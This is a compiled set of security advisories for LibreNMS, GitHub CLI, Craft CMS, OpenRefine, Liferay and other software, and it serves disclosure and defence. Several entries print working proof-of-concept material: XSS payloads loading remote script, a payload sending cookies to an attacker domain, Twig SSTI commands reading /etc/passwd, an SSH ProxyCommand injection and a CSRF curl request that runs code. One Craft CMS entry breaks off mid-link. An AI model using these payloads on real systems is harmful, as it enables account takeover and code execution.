LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php

[Severity: HIGH]

### Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.

### Details

The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.

The payload used to exploit this vulnerability is: `test'"><script src=//15.rs></script>`

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42

### PoC

1. Edit a device and use the following payload in the "overwrite_ip" parameter: `test'"><script src=//15.rs></script>`
2. Save the changes.
3. Navigate to the device overview page.
4. Observe that the injected script executes in the "Assigned IP" field.

```http
POST /device/14/edit HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&editing=yes&display=&overwrite_ip=test'"><script+src=//15.rs></script>&descr=&type=&parent_id%5B%5D=15&Submit=
```

### Impact

This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.


LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php

[Severity: HIGH]

### Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.

### Details
When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter:
```<script/src=//15.rs></script>```

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69

### PoC
1. Create a new Port Group using the following payload in the "name" parameter:
```name<script/src=//15.rs></script>```
2. Add the Port Group to a device's port settings.
3. Reload the "Port Settings" page.
4. Observe that the injected script executes.

Example Request:
```http
POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>
```

### Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.


LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/overview/services.inc.php

[Severity: HIGH]

### Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions.

### Details
When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "name" parameter. This payload is then reflected in the "Services" section of the "Overview" page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service").

The payload used to exploit this vulnerability is:
```Name'"><script/src=//15.rs></script>```

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause is the application's failure to sanitize the "name" parameter before outputting it in the HTML. The sinks are as follows:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview/services.inc.php#L36
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/overview.inc.php#L74

### PoC
1. Create a service for a device using the following payload in the "name" parameter:
```Name'"><script/src=//15.rs></script>```
2. Save the service.
3. Navigate to the "Overview" page of the device.
4. Observe that the injected script executes in the "Services" section of the page.

Example Request:

```http
POST /device/15/edit/section=services HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=Name'"><script/src=//15.rs></script>&addsrv=yes&device=15&type=pollen&descr=Descr'"><script/src=//15.rs></script>&ip=IP'"><script/src=//15.rs></script>&params=Params'"><script/src=//15.rs></script>&Submit=
```

### Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Services" section of the device's overview page. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.


LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php

[Severity: HIGH]

### Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.

### Details
When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:

```
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"
```

(Note: You may need to URL-encode the '+' sign in the payload.)

The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.

The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/capture.inc.php#L55

### PoC
1. Create a new device with the following payload in the "hostname" parameter:
```
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"
```
2. Save the device.
3. Navigate to the "Capture Debug Information" page for the device.
4. Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.

Example Request:
```http
POST /addhost HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attacker_domain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=
```

### Impact

This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.


LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php

[Severity: HIGH]

### Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

### Details

The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.

The payload used to exploit this vulnerability is: `'"><script/src=//15.rs></script>`

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153

### PoC

1. Create a new API token with the following payload in the "token" parameter: `'"><script/src=//15.rs></script>`
2. Save the token.
3. Navigate to the API Access page.
4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.

```http
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

_token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create
```

### Impact

The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.


Connecting to a malicious Codespaces via GH CLI could allow command execution on the user's computer

[Severity: HIGH]

### Summary

A security vulnerability has been identified in GitHub CLI that could allow remote code execution (RCE) when users connect to a malicious Codespace SSH server and use the `gh codespace ssh` or `gh codespace logs` commands.

### Details

The vulnerability stems from the way GitHub CLI handles SSH connection details when executing commands. When developers connect to remote Codespaces, they typically use a SSH server running within a devcontainer, often provided through the [default devcontainer image](https://docs.github.com/en/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#using-the-default-dev-container-configuration).  GitHub CLI [retrieves SSH connection details](https://github.com/cli/cli/blob/30066b0042d0c5928d959e288144300cb28196c9/internal/codespaces/rpc/invoker.go#L230-L244), such as remote username, which is used in [executing `ssh` commands](https://github.com/cli/cli/blob/e356c69a6f0125cfaac782c35acf77314f18908d/pkg/cmd/codespace/ssh.go#L263) for `gh codespace ssh` or `gh codespace logs` commands.

This exploit occurs when a malicious third-party devcontainer contains a modified SSH server that injects `ssh` arguments within the SSH connection details. `gh codespace ssh` and `gh codespace logs` commands could execute arbitrary code on the user's workstation if the remote username contains something like `-oProxyCommand="echo hacked" #`.  The `-oProxyCommand` flag causes `ssh` to execute the provided command while `#` shell comment causes any other `ssh` arguments to be ignored.

In `2.62.0`, the remote username information is being validated before being used.

### Impact

Successful exploitation could lead to arbitrary code execution on the user's workstation, potentially compromising the user's data and system.

### Remediation and Mitigation

1. Upgrade `gh` to `2.62.0`
2. Exercise caution when using custom devcontainer images, prefer default or pre-built devcontainers from trusted sources.


Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

[Severity: HIGH]

### Summary

Missing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI.

`(Post-authentication, ALLOW_ADMIN_CHANGES=true)`

### Details

Note: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw)

In [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization:

```php
/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}
```

This could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir.

Let's see what happens after calling `isSystemDir("../templates/poc")`:

```php
/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}
```

Now that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136):
```php
/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}
```

We can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc`

Then create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml`

Although craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete.

```js
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
```

These payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations.

### PoC

1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start

```sh
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
```

2. Create a new filesystem with base path `../templates/poc`

Notice that the `poc` directory was created

3. Create a new asset volume using the `poc` filesystem

Upload a `poc.ttml` file with RCE template code

```js
{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
```

Note: `find` was added to twig [last month](https://github.com/twigphp/Twig/commit/4e262511930e408e4c7eda07b1c977f2ea98575c). If you're running this poc on an older version of twig try removing the last 2 lines.

![ttml](https://g


Local File System Validation Bypass Leading to File Overwrite, Sensitive File Access, and Potential Code Execution

[Severity: HIGH]

### Summary
A vulnerability in CraftCMS allows an attacker to bypass local file system validation by utilizing a double `file://` scheme (e.g., `file://file:////`). This enables the attacker to specify sensitive folders as the file system, leading to potential file overwriting through malicious uploads, unauthorized access to sensitive files, and, under certain conditions, remote code execution (RCE) via Server-Side Template Injection (SSTI) payloads.

Note that this will only work if you have an authenticated administrator account with [allowAdminChanges enabled](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges).

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

### Details
The issue lies in line 57 of `cms/src/helpers/FileHelper.php`, it only removes `file://` on the most left. It is trivial to bypass this sanitization by adding 2 `file://`, e.g. `file://file:////`.
```php
    public static function normalizePath($path, $ds = DIRECTORY_SEPARATOR): string
    {
        // Remove any file protocol wrappers
        $path = StringHelper::removeLeft($path, 'file://');

        // Is this a UNC network share path?
        $isUnc = (str_starts_with($path, '//') || str_starts_with($path, '\\\\'));

        // Normalize the path
        $path = parent::normalizePath($path, $ds);

        // If it is UNC, add those slashes back in front
        if ($isUnc) {
            $path = $ds . $ds . ltrim($path, $ds);
        }

        return $path;
    }
```

### PoC
1. Sign in with an admin account and navigate to `Settings → Assets`, then create a new volume.
2. n the Asset Filesystem section, create a new file system and set the Base Path to `file://file:////vendor`.
Without the prefix, the selection fails.
 ![alt text](https://winslow1984.com/uploads/images/gallery/2024-09/1.png)
With the double `file://` prefix, the selection succeeds.
 ![alt text](https://winslow1984.com/uploads/images/gallery/2024-09/2.png)
3. Access Assets from the left navigation bar, then upload a file into this volume.
 ![alt text](https://winslow1984.com/uploads/images/gallery/2024-09/3.png)
4. The file is successfully uploaded and stored in the sensitive folder specified (e.g., `/vendor`).
 ![alt text](https://winslow1984.com/uploads/images/gallery/2024-09/4.png)
5. SSTI payloads can be uploaded to `/templates` folder, though full code execution was not achieved during testing, some payloads were still successful, leading to sensitive information disclosure, among other potential impacts.
 ![alt text](https://winslow1984.com/uploads/images/gallery/2024-09/7306f23f208e8e8dff48d65a0dc02dc.png)

### Impact
Attackers who compromise an admin account(The admin user is not equal to the server owner) can exploit this flaw to assign sensitive folders as the base path of the filesystem. For instance, if the path `/templates` is specified (e.g., `file://file:////var/www/html/templates`), the attacker could upload SSTI payloads. While CraftCMS includes strict SSTI input sanitization, RCE may still be possible if the attacker can craft a valid payload, as seen in similar vulnerabilities (e.g., [GHSA-44wr-rmwq-3phw](https://github.com/advisories/GHSA-44wr-rmwq-3phw)).

Additionally, attackers can upload tampered files to overwrite critical web application files. By enabling public URLs for files in the specified filesystem, they can also retrieve sensitive files (e.g., configuration files from the local file system).

Although the vulnerability is exploitable only in the authenticated users, configuration with `ALLOW_ADMIN_CHANGES=true`, there is still a potential security threat.


XStream is vulnerable to a Denial of Service attack due to stack overflow from a manipulated binary input stream

[Severity: HIGH]

### Impact
The vulnerability may allow a remote attacker to terminate the application with a stack overflow error resulting in a denial of service only by manipulating the processed input stream when XStream is configured to use the BinaryStreamDriver.

### Patches
XStream 1.4.21 detects the manipulation in the binary input stream causing the the stack overflow and raises an InputManipulationException instead.

### Workarounds
The only solution is to catch the StackOverflowError in the client code calling XStream if XStream is configured to use the BinaryStreamDriver.

### References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2024-47072](https://x-stream.github.io/CVE-2024-47072.html).

### Credits
Alexis Challande of Trail Of Bits found and reported the issue to XStream and provided the required information to reproduce it.


RabbitMQ HTTP API's queue deletion endpoint does not verify that the user has a required permission

[Severity: HIGH]

### Summary

Queue deletion via the HTTP API was not verifying the `configure` permission of the user.

### Impact

Users who had all of the following:

1. Valid credentials
2. Some permissions for the target virtual host
3. HTTP API access

could delete queues it had no (deletion) permissions for.

### Workarounds

Disable management plugin and use, for example, [Prometheus and Grafana](https://www.rabbitmq.com/docs/prometheus) for monitoring.

### OWASP Classification

OWASP Top10 A01:2021 – Broken Access Control


codechecker authentication method confusion vulnerability allows logging in as the built-in root user from an external service

[Severity: CRITICAL]

### Summary
Authentication method confusion allows logging in as the built-in root user from an external service. The built-in root user is generated in a weak manner, cannot be disabled, and has universal access.

### Details
Until CodeChecker version 6.24.1 there was an auto-generated super-user account that could not be disabled.
The attacker needs to know only the username of the root user.

This root user is unconditionally assigned superuser permissions.

Which means that if any user via any service logs in with the root user's username, they will unconditionally have superuser permissions on the CodeChecker instance.

The name of the user name can be found in `root.user` file in the CodeChecker configuration directory.
You can check if you are impacted by checking the existence of this user in the external authentication services (e.g. LDAP, PAM etc.).

### Impact
This vulnerability allows an attacker who can create an account on an enabled external authentication service, to log in as the root user, and access and control everything that can be controlled via the web interface.
The attacker needs to acquire the username of the root user to be successful.


Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations

[Severity: LOW]

### Summary

Unclear documentation of the error behavior in `ParseWithClaims` can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by `ParseWithClaims` return both error codes. If users only check for the `jwt.ErrTokenExpired ` using `error.Is`, they will ignore the embedded `jwt.ErrTokenSignatureInvalid` and thus potentially accept invalid tokens.

### Fix

We have back-ported the error handling logic from the `v5` branch to the `v4` branch. In this logic, the `ParseWithClaims` function will immediately return in "dangerous" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.

### Workaround

We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors ("dangerous" ones first), so that you are not running in the case detailed above.

```Go
token, err := /* jwt.Parse or similar */
if token.Valid {
	fmt.Println("You look nice today")
} else if errors.Is(err, jwt.ErrTokenMalformed) {
	fmt.Println("That's not even a token")
} else if errors.Is(err, jwt.ErrTokenUnverifiable) {
	fmt.Println("We could not verify this token")
} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {
	fmt.Println("This token has an invalid signature")
} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {
	// Token is either expired or not active yet
	fmt.Println("Timing is everything")
} else {
	fmt.Println("Couldn't handle this token:", err)
}
```


NVIDIA Container Toolkit allows specially crafted container image to create empty files on the host file system

[Severity: MEDIUM]

NVIDIA Container Toolkit 1.16.1 or earlier contains a vulnerability in the default mode of operation allowing a specially crafted container image to create empty files on the host file system. This does not impact use cases where CDI is used. A successful exploit of this vulnerability may lead to data tampering.


Pterodactyl Panel has plain-text logging of user passwords when two-factor authentication is disabled

[Severity: MEDIUM]

### Impact

When a user disables two-factor authentication via the Panel, a `DELETE` request with their current password in a query parameter will be sent.  While query parameters are encrypted when using TLS, many webservers (including ones officially documented for use with Pterodactyl) will log query parameters in plain-text, storing a user's password in plain text.

If a malicious user obtains access to these logs they could *potentially* authenticate against a user's account; assuming they are able to discover the account's email address or username **separately**.

### Patches

This problem has been patched by <https://github.com/pterodactyl/panel/commit/8be2b892c3940bdc0157ccdab16685a72d105dd1> on the `1.0-develop` branch and released under `v1.11.8` as a single commit on top of `v1.11.7` <https://github.com/pterodactyl/panel/commit/75b59080e2812ced677dab516222b2a3bb34e3a4>

Patch file: <https://github.com/pterodactyl/panel/commit/8be2b892c3940bdc0157ccdab16685a72d105dd1.patch>

### Workarounds

There are no workarounds at this time.  There is not a direct vulnerability within the software as it relates to logs generated by intermediate components such as webservers or Layer 7 proxies.

Updating to `v1.11.8` or adding the linked patch manually are the only ways to avoid this problem.

### User Notice

As this vulnerability relates to historical logging of sensitive data, users who have ever disabled 2FA on a Panel (self-hosted or operated by a company) should change their passwords and consider enabling 2FA if it was left disabled.  While it's unlikely that your account will be compromised by this vulnerability, it's not impossible.

Panel administrators should consider clearing any access logs that may contain sensitive data, for Panels using NGINX, the access log is located at `/var/log/nginx/pterodactyl.app-access.log`.


OpenRefine's error page lacks escaping, leading to potential Cross-site Scripting on import of malicious project

[Severity: MEDIUM]

### Summary

The built-in "Something went wrong!" error page includes the exception message and exception traceback without escaping HTML tags, enabling injection into the page if an attacker can reliably produce an error with an attacker-influenced message.

It appears that the only way to reach this code in OpenRefine itself is for an attacker to somehow convince a victim to import a malicious file, as in GHSA-m88m-crr9-jvqq, which may be difficult.  However, out-of-tree extensions may add their own calls to `respondWithErrorPage`.

### Details

The `Command.respondWithErrorPage` (through `HttpUtilities.respondWithErrorPage`) function renders the Velocity template `error.vt`, which contains the `$message` and `$stack` variables, which are included in the response as-is:

https://github.com/OpenRefine/OpenRefine/blob/master/main/webapp/modules/core/error.vt#L52-L53

However, the message can contain HTML tags, which would then be interpreted by the browser. A mitigation would be to escape both the message and stack trace, perhaps using Guava's HTML escaper.

Flows that report errors as `application/json` responses are not interpreted by the browser and so not affected by this issue.

### PoC

In OpenRefine, use the "Import project" feature to import the following URL (or upload it as a file): https://wandernauta.nl/oa/example.tar.gz

A JavaScript alert appears.

### Impact

Execution of arbitrary JavaScript in the victim's browser, provided the victim can be convinced to import a malicious project. The script can do anything the user can do.


OpenRefine has a reflected cross-site scripting vulnerability (XSS) from POST request in ExportRowsCommand

[Severity: HIGH]

### Summary

The `export-rows` command can be used in such a way that it reflects part of the request verbatim, with a Content-Type header also taken from the request.

An attacker could lead a user to a malicious page that submits a form POST that contains  embedded JavaScript code. This code would then be included in the response, along with an attacker-controlled `Content-Type` header, and so potentially executed in the victim's browser as if it was part of OpenRefine.

The attacker must know a valid project ID of a project that contains at least one row.

### Details

The malicious form sets `contentType` to `text/html` (ExportRowsCommand.java line 101) and `preview` to `true` (line 107). This combination causes the browser to treat what OpenRefine thinks of as an export preview as a regular webpage.

It would be safer if the `export-rows` command did not allow overriding the Content-Type header at all, instead relying on the exporter to provide the correct Content-Type. It could also require a CSRF token. As an additional measure, it could add a Content-Security-Policy header to the response disabling scripts and such entirely.

At least the CSV exporter (`separator` and `lineSeparator` fields) and templating exporter (any field) are affected. It may also be possible to inject into the `dateSettings.custom` field or the SQL exporter default value field, if the project contains date or null cells.

### PoC

An example form that demonstrates the issue is available on https://wandernauta.nl/os/.

### Impact

Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.


OpenRefine's PreviewExpressionCommand, which is eval, lacks protection against cross-site request forgery (CSRF)

[Severity: HIGH]

### Summary

Lack of CSRF protection on the `preview-expression` command means that visiting a malicious website could cause an attacker-controlled expression to be executed. The expression can contain arbitrary Clojure or Python code.

The attacker must know a valid project ID of a project that contains at least one row.

### Details

The `com.google.refine.commands.expr.PreviewExpressionCommand` class contains the following comment:
```
/**
 * The command uses POST but does not actually modify any state so it does not require CSRF.
 */
```

However, this appears to be false (or no longer true). The expression being previewed (executed) can be written in GREL, Python, or Clojure. Since there are no restrictions on what code can be executed, the expression can do anything the user running OpenRefine can do. For instance, the following expressions start a calculator:

```
clojure:(.exec (Runtime/getRuntime) "gnome-calculator")
```

```
jython:import os;os.system("gnome-calculator")
```

The lack of restrictions on expressions is arguably not a problem if the user is typing their own expressions into OpenRefine: they could have just as well typed them into Clojure or Python directly. However, since the `preview-expression` command does not check for a CSRF token, the expression can actually come from a HTML form submitted by a different origin, including arbitrary websites.

Issue #2164 suggested adding CSRF protection to all endpoints, but this endpoint was skipped (and the above comment added) in the associated PR #2182.

### PoC

An example "malicious" page is at https://wandernauta.nl/or/ (of course, actual malicious pages would not wait for the victim to press the submit button).

The following curl command (substituting the project ID) also demonstrates the issue:

```sh
curl -d project=123456789 -d cellIndex=1 -d rowIndices='[0]' -d 'expression=clojure:(.exec (Runtime/getRuntime) "gnome-calculator")' http://localhost:3333/command/core/preview-expression/
```

### Impact

CSRF into remote code execution, provided the attacker knows at least one project ID in the victim's workspace and can convince the victim to open a malicious webpage.


OpenRefine has a reflected cross-site scripting vulnerability (XSS) in GData extension (authorized.vt)

[Severity: HIGH]

### Summary

The `/extension/gdata/authorized` endpoint includes the `state` GET parameter verbatim in a `<script>` tag in the output, so without escaping.

An attacker could lead or redirect a user to a crafted URL containing JavaScript code, which would then cause that code to be executed in the victim's browser as if it was part of OpenRefine.

### Details

The `state` GET parameter is read from:

* extensions/gdata/module/MOD-INF/controller.js:105

It is used (as `$state`) in:

* extensions/gdata/module/authorized.vt:43

There is no check that the state has the expected format (base64-encoded JSON with values like "openrefine123..." and "cb123..."), or that the page was indeed opened as part of the authorization flow.

### PoC

Navigate to:

    http://localhost:3333/extension/gdata/authorized?state=%22,alert(1),%22&error=

An alert box pops up.

The gdata extension needs to be present. No other configuration is needed; specifically, it is not required to have a client ID or client secret set.

### Impact

Execution of arbitrary JavaScript in the user's browser. The attacker-provided code can do anything the user can do, including deleting projects, retrieving database passwords, or executing arbitrary Jython or Closure expressions, if those extensions are also present.


Liferay Portal and Liferay DXP Vulnerable to Cross-Site Request Forgery (CSRF) via the My Account Widget

[Severity: HIGH]

Cross-site request forgery (CSRF) vulnerability in the My Account widget in Liferay Portal 7.4.3.75 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.2, 2023.Q3.1 through 2023.Q3.5, 7.4 update 75 through update 92 and 7.3 update 32 through update 36 allows remote attackers to (1) change user passwords, (2) shut down the server, (3) execute arbitrary code in the scripting console, (4) and perform other administrative actions via the _com_liferay_my_account_web_portlet_MyAccountPortlet_backURL parameter.


Liferay Portal and Liferay DXP Vulnerable to Cross-Site Request Forgery (CSRF) via the Content Page Editor

[Severity: HIGH]

Cross-site request forgery (CSRF) vulnerability in the content page editor in Liferay Portal 7.3.2 through 7.4.3.107, and Liferay DXP 2023.Q4.0 through 2023.Q4.2, 2023.Q3.1 through 2023.Q3.5, 7.4 GA through update 92 and 7.3 GA through update 35 allows remote attackers to (1) change user passwords, (2) shut down the server, (3) execute arbitrary code in the scripting console, (4) and perform other administrative actions via the p_l_back_url parameter.


Umbraco CMS Improper Access Control Vulnerability Allows Low-Privilege Users to Access Webhook API

[Severity: LOW]

### Impact
An improper access control issue has been identified, allowing low-privilege users to access the webhook API and retrieve information that should be restricted to users with access to the settings section


Umbraco CMS vulnerable to stored Cross-site Scripting in the "dictionary name" on Dictionary section

[Severity: MEDIUM]

### Impact
This can be leveraged to gain access to higher-privilege endpoints, e.g. if you get a user with admin privileges to run the code, you can potentially elevate all users and grant them admin privileges or access protected content.

### Patches
Will be patched in 14.3.1 and 15.0.0.

### Workarounds
Ensure that access to the Dictionary section is only granted to trusted users.


